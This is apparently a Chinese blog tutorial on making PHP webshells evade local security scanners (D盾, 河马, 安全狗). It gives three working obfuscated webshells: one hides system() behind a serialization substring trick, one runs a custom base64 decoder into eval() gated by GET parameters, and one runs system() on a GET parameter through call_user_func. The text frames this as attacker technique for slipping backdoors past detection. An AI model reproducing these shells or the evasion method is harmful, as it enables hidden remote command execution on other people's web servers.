免杀
免杀就是制作开发的病毒木马(脚本或者二进制)不被杀毒软件检测出。
而对于web手而言,最熟悉,也是最好入手的就是php免杀
免杀思路
分析杀软(WAF),为什么杀你制作的病毒木马,是规则匹配引擎,是机器学习引擎,等等。只有你知道WAF为什么查杀你,你才知道如何绕过,达到免杀效果。
免杀过程
- 定位关键点
- 分析关键点
- 混淆关键点
杀软类型
- 本地杀软
- 云端杀软
- 二进制杀软
- 脚本杀软
常用方法
- 工具免杀
- 代码膨胀(增加代码量)
- 多层函数嵌套
本地杀软
本地杀软主要是绕过火绒,安全狗,D盾,河马等,而本地杀软对比起其他方式,对于攻击者来说是最友好的,因为本地杀软100%可以确定能不能绕过,只有两个结果,清楚明确,不需要猜测。
测试免杀D盾
首先写最简单的一句话木马试试
再试试我们常用方法中的代码膨胀,主要是向其注入足够的垃圾数据,来绕过本地杀软软件
按照我们的免杀过程,我们先定位关键点,先判断是否过滤了system函数
因此判断,D盾会检查system函数中的参数,来判断其安全性
依然是过滤参数,我们先试一下用class是否能绕过
还是被查杀了,既然都想到用类了,那就再序列化试一下
经过序列化之后,我们成功绕过了,但这样是无法成功执行的,我们只需要截取序列化中的关键词出来就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
class C { var $cmd = "calc"; }
function getC() { return new C; }
function test($cmd) { $l = $_GET["l"]; system(substr(serialize(getC()),26,$l)); }
test("aa"); ?>
|
测试免杀河马
我们先尝试用之前成功免杀D盾的代码来测试一下河马
能绕过D盾的代码直接被河马查杀了
还是按照上面的思路,我们先定位关键点
发现河马直接过滤掉了system(),无论是否带有参数都直接查杀,挺狗的
接着尝试,发现eval()函数可以使用,但用eval()函数去调用system()也会被查杀
用编码绕过试一下
将system(calc);
base64编码得到c3lzdGVtKCdjbGFjJyk7
仍然不能绕过,貌似会检测到base64_decode函数,网上找一个手写的脚本,改个函数名试试
好怪啊,怎么这样还是被查杀,莫非是河马自己后台用php跑一遍测试,或者是跟随了你的代码执行顺序逐句查杀
不是吧,这样还是被查杀了,按照代码执行顺序也不对呀
再反复测试,反复调试了一个下午,最后发现
查杀了注释!!!
这次终于对了,删掉了注释,按照代码执行顺序,执行不到eval()函数,成功绕过了河马
那我们接下来只需要让它无法判断是否该执行if条件中的语句,就能成功绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php function Glacier($input) { $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; $i = 0; $output = "";
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input); do { $enc1 = strpos($keyStr, substr($input, $i++, 1)); $enc2 = strpos($keyStr, substr($input, $i++, 1)); $enc3 = strpos($keyStr, substr($input, $i++, 1)); $enc4 = strpos($keyStr, substr($input, $i++, 1)); $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr((int) $chr1); if ($enc3 != 64) { $output = $output . chr((int) $chr2); } if ($enc4 != 64) { $output = $output . chr((int) $chr3); } $chr1 = $chr2 = $chr3 = ""; $enc1 = $enc2 = $enc3 = $enc4 = ""; } while ($i < strlen($input)); return urldecode($output); }
$b = Glacier("c3lzdGVtKCdjYWxjJyk7"); if ($_GET["a"] > $_GET["b"]){ eval($b); } ?>
|
这里的函数是用的网上别人手写的base64,其实也可以直接用php库中的其他编码形式来绕过河马。
测试免杀safedog
使用绕过河马的exp会被safedog拦截,测试发现其是逻辑过滤了eval的参数,那我们换个php的原生函数试一试
这里的分析过程与上面类似,我们使用了php的原生函数call_user_fnuc("aa",$_GET["a"])
这里直接贴上exp
1 2 3 4 5 6
| <?php function aa ($cc){ system($cc); } eval(call_user_func("aa",$_GET["a"])); ?>
|